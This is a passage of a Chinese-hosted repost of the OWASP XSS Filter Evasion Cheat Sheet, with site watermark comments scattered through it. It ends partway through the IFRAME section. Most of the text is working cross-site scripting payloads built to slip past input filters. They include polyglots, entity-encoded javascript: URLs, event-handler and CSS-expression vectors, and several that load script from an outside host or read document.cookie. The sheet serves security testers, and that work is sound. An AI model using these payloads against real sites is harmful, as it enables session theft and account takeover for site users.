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XSS 绕过过滤器大全

时间:2017-06-16来源:未知 作者:安云网点击:
XSS Filter Evasion Cheat Sheet 介绍(Introduction): 翻译:落泪红尘 r00ts www.sh3llc0de.com 翻译了一点,有时间再全部翻译 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet 这篇文章是协助应用程序安全专业人

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet //ANYUN.ORG

http://zhyuxuan.blog.51cto.com/2209663/1107426?utm_source=tuicool&utm_medium=referral

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This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the XSS (Cross Site Scripting) Prevention Cheat Sheet, was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the OWASP Cheat Sheet Series was born. //内容来自安云网

Tests

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This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.

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//ANYUN.ORG

Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts. //安云网咨询系统


//安云网,anyun.org

XSS Locator

//内容来自AnYun.ORG

Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this URL encoding calculator to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably: //安云网咨询系统


//本文来自安云网

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; //本文来自安云网

alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--

//ANYUN.ORG

></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

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XSS Locator (short) //安云网,anyun.org

If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable: //copyright AnYun.ORG


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'';!--"<XSS>=&{()}

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No Filter Evasion

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This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

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//copyright AnYun.ORG

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

//安云网,anyun.org


//copyright AnYun.ORG

Filter bypass based polyglot //安云网咨询系统

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>

//安云网咨询系统

<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script> //安云网,anyun.org

<script>alert(document.cookie)</script>"> //安云网咨询系统

<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'"> //安云网,anyun.org

<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg">

//本文来自安云网

Image XSS using the JavaScript directive //安云网咨询系统

Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

//本文来自安云网


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<IMG SRC="javascript:alert('XSS');">

//内容来自安云网

No quotes and no semicolon //copyright AnYun.ORG

<IMG SRC=javascript:alert('XSS')>

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Case insensitive XSS attack vector

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<IMG SRC=JaVaScRiPt:alert('XSS')>

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HTML entities

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The semicolons are required for this to work:

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//本文来自安云网

<IMG SRC=javascript:alert("XSS")> //内容来自AnYun.ORG

Grave accent obfuscation //copyright AnYun.ORG

If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents: //copyright AnYun.ORG


//本文来自安云网

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> //内容来自安云网

Malformed A tags

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Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross ~ Verified on Chrome //内容来自AnYun.ORG


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<a onmouseover="alert(document.cookie)">xxs link</a> //copyright AnYun.ORG


//安云网,anyun.org

or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script. //安云网咨询系统


//ANYUN.ORG

<a onmouseover=alert(document.cookie)>xxs link</a>

//安云网,anyun.org


//内容来自安云网

Malformed IMG tags //本文来自安云网

Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

//内容来自安云网


//内容来自安云网

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> //内容来自安云网

fromCharCode //内容来自AnYun.ORG

If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need: //安云网咨询系统


//ANYUN.ORG

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

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Default SRC tag to get past filters that check SRC domain

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This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross .

//安云网,anyun.org


//内容来自AnYun.ORG

Edited by Abdullah Hussam(@Abdulahhusam). //安云网咨询系统


//本文来自安云网

<IMG SRC=# onmouseover="alert('xxs')"> //内容来自安云网

Default SRC tag by leaving it empty //copyright AnYun.ORG

<IMG SRC= onmouseover="alert('xxs')"> //安云网咨询系统

Default SRC tag by leaving it out entirely

//内容来自安云网

<IMG onmouseover="alert('xxs')"> //ANYUN.ORG

On error alert //安云网,anyun.org

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

//安云网,anyun.org

IMG onerror and javascript alert encode //内容来自AnYun.ORG

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041"> //内容来自AnYun.ORG

Decimal HTML character references

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all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).

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//安云网,anyun.org

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40; //内容来自AnYun.ORG

&#39;&#88;&#83;&#83;&#39;&#41;>

//内容来自安云网

Decimal HTML character references without trailing semicolons //内容来自安云网

This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

//本文来自安云网


//安云网咨询系统

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&

//内容来自安云网

#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> //安云网咨询系统

Hexadecimal HTML character references without trailing semicolons //安云网,anyun.org

This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). //安云网咨询系统


//内容来自AnYun.ORG

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> //本文来自安云网

Embedded tab

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Used to break up the cross site scripting attack: //内容来自AnYun.ORG


//安云网,anyun.org

<IMG SRC="javascript:alert('XSS');">

//安云网,anyun.org

Embedded Encoded tab

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Use this one to break up XSS : //安云网咨询系统


//ANYUN.ORG

<IMG SRC="jav&#x09;ascript:alert('XSS');">

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Embedded newline to break up XSS //ANYUN.ORG

Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

//本文来自安云网


//ANYUN.ORG

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

//内容来自安云网

Embedded carriage return to break up XSS

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(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

//内容来自AnYun.ORG


//安云网咨询系统

<IMG SRC="jav&#x0D;ascript:alert('XSS');"> //本文来自安云网

Null breaks up JavaScript directive

//安云网咨询系统

Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example: //安云网咨询系统


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perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

//安云网咨询系统

Spaces and meta chars before the JavaScript in images for XSS //本文来自安云网

This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

//ANYUN.ORG


//ANYUN.ORG

<IMG SRC=" &#14;  javascript:alert('XSS');"> //安云网,anyun.org

Non-alpha-non-digit XSS

//内容来自安云网

The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s": //安云网,anyun.org


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<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

//内容来自AnYun.ORG

Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here: //安云网,anyun.org


//ANYUN.ORG

<BODY onload!#$%&()*~+-_.,:;[email protected][/|\]^`=alert("XSS")> //copyright AnYun.ORG

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

//ANYUN.ORG


//内容来自安云网

<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT> //本文来自安云网

Extraneous open brackets //copyright AnYun.ORG

Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

//本文来自安云网


//安云网,anyun.org

<<SCRIPT>alert("XSS");//<</SCRIPT>

//安云网,anyun.org

No closing script tags

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In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected: //内容来自AnYun.ORG


//安云网咨询系统

<SCRIPT SRC=http://xss.rocks/xss.js?< B >

//内容来自AnYun.ORG

Protocol resolution in script tags //内容来自AnYun.ORG

This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

//copyright AnYun.ORG


//ANYUN.ORG

<SCRIPT SRC=//xss.rocks/.j> //安云网,anyun.org

Half open HTML/JavaScript XSS vector //内容来自AnYun.ORG

Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag: //内容来自AnYun.ORG


//安云网,anyun.org

<IMG SRC="javascript:alert('XSS')"

//安云网,anyun.org

Double open angle brackets //安云网咨询系统

Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't: //本文来自安云网


//安云网咨询系统

<iframe src=http://xss.rocks/scriptlet.html < //安云网咨询系统

Escaping JavaScript escapes //安云网,anyun.org

When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.: //安云网,anyun.org


//安云网咨询系统

\";alert('XSS');//

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An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:

//安云网,anyun.org


//内容来自AnYun.ORG

</script><script>alert('XSS');</script>

//ANYUN.ORG

End title tag

//本文来自安云网

This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

//ANYUN.ORG


//ANYUN.ORG

</TITLE><SCRIPT>alert("XSS");</SCRIPT> //内容来自AnYun.ORG

INPUT image

//本文来自安云网

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

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BODY image

//本文来自安云网

<BODY BACKGROUND="javascript:alert('XSS')">

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IMG Dynsrc //ANYUN.ORG

<IMG DYNSRC="javascript:alert('XSS')"> //内容来自安云网

IMG lowsrc

//ANYUN.ORG

<IMG LOWSRC="javascript:alert('XSS')"> //ANYUN.ORG

List-style-image //安云网,anyun.org

Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

//内容来自安云网


//安云网咨询系统

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

//内容来自AnYun.ORG

VBscript in an image //内容来自AnYun.ORG

<IMG SRC='vbscript:msgbox("XSS")'>

//安云网咨询系统

Livescript (older versions of Netscape only) //内容来自AnYun.ORG

<IMG SRC="livescript:[code]">

//内容来自AnYun.ORG

SVG object tag

//安云网,anyun.org

<svg/onload=alert('XSS')> //内容来自AnYun.ORG

ECMAScript 6

//安云网,anyun.org

Set.constructor`alert\x28document.domain\x29``` //内容来自AnYun.ORG

BODY tag

//内容来自安云网

Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="): //内容来自安云网


//安云网咨询系统

<BODY ONLOAD=alert('XSS')>

//内容来自安云网

Event Handlers

//ANYUN.ORG

It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates. //copyright AnYun.ORG


//内容来自安云网

The Dottoro Web Reference also has a nice list of events in JavaScript.

//ANYUN.ORG


//内容来自安云网

FSCommand() (attacker can use this when executed from within an embedded Flash object)

//内容来自AnYun.ORG

onAbort() (when user aborts the loading of an image)

//内容来自安云网

onActivate() (when object is set as the active element)

//copyright AnYun.ORG

onAfterPrint() (activates after user prints or previews print job)

//安云网,anyun.org

onAfterUpdate() (activates on data object after updating data in the source object)

//安云网咨询系统

onBeforeActivate() (fires before the object is set as the active element)

//内容来自AnYun.ORG

onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand("Copy") function) //ANYUN.ORG

onBeforeCut() (attacker executes the attack string right before a selection is cut) //本文来自安云网

onBeforeDeactivate() (fires right after the activeElement is changed from the current object)

//ANYUN.ORG

onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) //内容来自安云网

onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) //内容来自AnYun.ORG

onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).

//内容来自安云网

onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) //内容来自AnYun.ORG

onBeforeUpdate() (activates on data object before updating data in the source object) //安云网咨询系统

onBegin() (the onbegin event fires immediately when the element's timeline begins) //本文来自安云网

onBlur() (in the case where another popup is loaded and window looses focus)

//ANYUN.ORG

onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)

//ANYUN.ORG

onCellChange() (fires when data changes in the data provider) //本文来自安云网

onChange() (select, text, or TEXTAREA field loses focus and its value has been modified) //内容来自AnYun.ORG

onClick() (someone clicks on a form)

//安云网咨询系统

onContextMenu() (user would need to right click on attack area) //本文来自安云网

onControlSelect() (fires when the user is about to make a control selection of the object) //ANYUN.ORG

onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)

//ANYUN.ORG

onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)

//内容来自安云网

onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)

//内容来自AnYun.ORG

onDataSetChanged() (fires when the data set exposed by a data source object changes) //copyright AnYun.ORG

onDataSetComplete() (fires to indicate that all data is available from the data source object)

//本文来自安云网

onDblClick() (user double-clicks a form element or a link)

//安云网咨询系统

onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) //安云网咨询系统

onDrag() (requires that the user drags an object) //内容来自安云网

onDragEnd() (requires that the user drags an object) //内容来自安云网

onDragLeave() (requires that the user drags an object off a valid location) //内容来自AnYun.ORG

onDragEnter() (requires that the user drags an object into a valid location) //内容来自AnYun.ORG

onDragOver() (requires that the user drags an object into a valid location)

//安云网,anyun.org

onDragDrop() (user drops an object (e.g. file) onto the browser window) //本文来自安云网

onDragStart() (occurs when user starts drag operation)

//内容来自安云网

onDrop() (user drops an object (e.g. file) onto the browser window) //copyright AnYun.ORG

onEnd() (the onEnd event fires when the timeline ends.

//内容来自安云网

onError() (loading of a document or image causes an error) //本文来自安云网

onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)

//内容来自AnYun.ORG

onFilterChange() (fires when a visual filter completes state change)

//本文来自安云网

onFinish() (attacker can create the exploit when marquee is finished looping) //内容来自安云网

onFocus() (attacker executes the attack string when the window gets focus) //安云网,anyun.org

onFocusIn() (attacker executes the attack string when window gets focus) //ANYUN.ORG

onFocusOut() (attacker executes the attack string when window looses focus)

//安云网,anyun.org

onHashChange() (fires when the fragment identifier part of the document's current address changed)

//copyright AnYun.ORG

onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)

//内容来自AnYun.ORG

onInput() (the text content of an element is changed through the user interface) //安云网,anyun.org

onKeyDown() (user depresses a key) //本文来自安云网

onKeyPress() (user presses or holds down a key) //内容来自安云网

onKeyUp() (user releases a key) //内容来自安云网

onLayoutComplete() (user would have to print or print preview) //本文来自安云网

onLoad() (attacker executes the attack string after the window loads) //copyright AnYun.ORG

onLoseCapture() (can be exploited by the releaseCapture() method) //安云网咨询系统

onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)

//内容来自AnYun.ORG

onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)

//安云网,anyun.org

onMessage() (fire when the document received a message)

//本文来自安云网

onMouseDown() (the attacker would need to get the user to click on an image) //安云网,anyun.org

onMouseEnter() (cursor moves over an object or area)

//安云网咨询系统

onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) //内容来自AnYun.ORG

onMouseMove() (the attacker would need to get the user to mouse over an image or table)

//本文来自安云网

onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)

//内容来自安云网

onMouseOver() (cursor moves over an object or area)

//本文来自安云网

onMouseUp() (the attacker would need to get the user to click on an image)

//ANYUN.ORG

onMouseWheel() (the attacker would need to get the user to use their mouse wheel) //内容来自安云网

onMove() (user or attacker would move the page) //内容来自安云网

onMoveEnd() (user or attacker would move the page) //安云网,anyun.org

onMoveStart() (user or attacker would move the page)

//copyright AnYun.ORG

onOffline() (occurs if the browser is working in online mode and it starts to work offline)

//内容来自安云网

onOnline() (occurs if the browser is working in offline mode and it starts to work online)

//内容来自AnYun.ORG

onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)

//ANYUN.ORG

onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) //内容来自AnYun.ORG

onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)

//内容来自安云网

onPopState() (fires when user navigated the session history) //内容来自AnYun.ORG

onProgress() (attacker would use this as a flash movie was loading) //内容来自安云网

onPropertyChange() (user or attacker would need to change an element property) //内容来自AnYun.ORG

onReadyStateChange() (user or attacker would need to change an element property)

//本文来自安云网

onRedo() (user went forward in undo transaction history) //安云网咨询系统

onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)

//安云网,anyun.org

onReset() (user or attacker resets a form) //copyright AnYun.ORG

onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

//安云网咨询系统

onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

//安云网,anyun.org

onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) //内容来自AnYun.ORG

onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element) //本文来自安云网

onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)

//安云网,anyun.org

onRowsEnter() (user or attacker would need to change a row in a data source) //本文来自安云网

onRowExit() (user or attacker would need to change a row in a data source)

//内容来自AnYun.ORG

onRowDelete() (user or attacker would need to delete a row in a data source)

//本文来自安云网

onRowInserted() (user or attacker would need to insert a row in a data source) //本文来自安云网

onScroll() (user would need to scroll, or attacker could use the scrollBy() function)

//内容来自安云网

onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)

//内容来自AnYun.ORG

onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) //ANYUN.ORG

onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) //copyright AnYun.ORG

onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) //内容来自AnYun.ORG

onStart() (fires at the beginning of each marquee loop)

//ANYUN.ORG

onStop() (user would need to press the stop button or leave the webpage)

//安云网,anyun.org

onStorage() (storage area changed)

//本文来自安云网

onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)

//安云网,anyun.org

onSubmit() (requires attacker or user submits a form) //安云网,anyun.org

onTimeError() (user or attacker sets a time property, such as dur, to an invalid value) //内容来自AnYun.ORG

onTrackChange() (user or attacker changes track in a playList) //内容来自安云网

onUndo() (user went backward in undo transaction history)

//内容来自AnYun.ORG

onUnload() (as the user clicks any link or presses the back button or attacker forces a click) //copyright AnYun.ORG

onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) //copyright AnYun.ORG

seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) //copyright AnYun.ORG

BGSOUND //本文来自安云网

<BGSOUND SRC="javascript:alert('XSS');"> //安云网,anyun.org

& JavaScript includes //内容来自安云网

<BR SIZE="&{alert('XSS')}">

//ANYUN.ORG

STYLE sheet

//ANYUN.ORG

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

//安云网,anyun.org

Remote style sheet

//安云网咨询系统

(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page: //内容来自安云网


//本文来自安云网

<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css"> //ANYUN.ORG

Remote style sheet part 2 //ANYUN.ORG

This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world: //ANYUN.ORG


//安云网咨询系统

<STYLE>@import'http://xss.rocks/xss.css';</STYLE> //本文来自安云网

Remote style sheet part 3 //内容来自安云网

This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://xss.rocks/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

//copyright AnYun.ORG


//copyright AnYun.ORG

<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"> //内容来自AnYun.ORG

Remote style sheet part 4

//内容来自安云网

This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites: //安云网,anyun.org


//内容来自安云网

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

//ANYUN.ORG

STYLE tags with broken up JavaScript for XSS

//本文来自安云网

This XSS at times sends IE into an infinite loop of alerts:

//本文来自安云网


//内容来自安云网

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> //内容来自安云网

STYLE attribute using a comment to break up expression //ANYUN.ORG

Created by Roman Ivanov

//内容来自AnYun.ORG


//ANYUN.ORG

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

//内容来自安云网

IMG STYLE with expression //本文来自安云网

This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:

//安云网咨询系统


//安云网咨询系统

exp/*<A STYLE='no\xss:noxss("*//*");

//内容来自安云网

xss:ex/*XSS*//*/*/pression(alert("XSS"))'> //copyright AnYun.ORG

STYLE tag (Older versions of Netscape only)

//安云网咨询系统

<STYLE TYPE="text/javascript">alert('XSS');</STYLE> //copyright AnYun.ORG

STYLE tag using background-image //ANYUN.ORG

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> //安云网咨询系统

STYLE tag using background //copyright AnYun.ORG

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> //安云网咨询系统

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

//安云网咨询系统


//内容来自安云网

Anonymous HTML with STYLE attribute //ANYUN.ORG

IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter: //copyright AnYun.ORG


//安云网咨询系统

<XSS STYLE="xss:expression(alert('XSS'))"> //本文来自安云网

Local htc file

//内容来自安云网

This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute: //安云网咨询系统


//内容来自安云网

<XSS STYLE="behavior: url(xss.htc);">

//copyright AnYun.ORG

US-ASCII encoding

//安云网,anyun.org

US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. //安云网,anyun.org


//安云网,anyun.org

¼script¾alert(¢XSS¢)¼/script¾ //ANYUN.ORG

META //内容来自AnYun.ORG

The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs: //copyright AnYun.ORG


//本文来自安云网

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> //安云网咨询系统

META using data

//内容来自AnYun.ORG

Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method: //copyright AnYun.ORG


//ANYUN.ORG

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

//内容来自AnYun.ORG

META with additional URL parameter //安云网,anyun.org

If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

//ANYUN.ORG


//安云网咨询系统

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

//安云网,anyun.org

IFRAME //内容来自安云网

If iframes are allowed there are a lot of other XSS problems as well: //安云网咨询系统


//本文来自安云网

<IFRAME SRC="javascript:alert('XSS');"></IFRAME> //copyright AnYun.ORG

IFRAME Event based //安云网,anyun.org

IFrames and most other elements can use event based mayhem like the following... (Submitted by: David Cross)

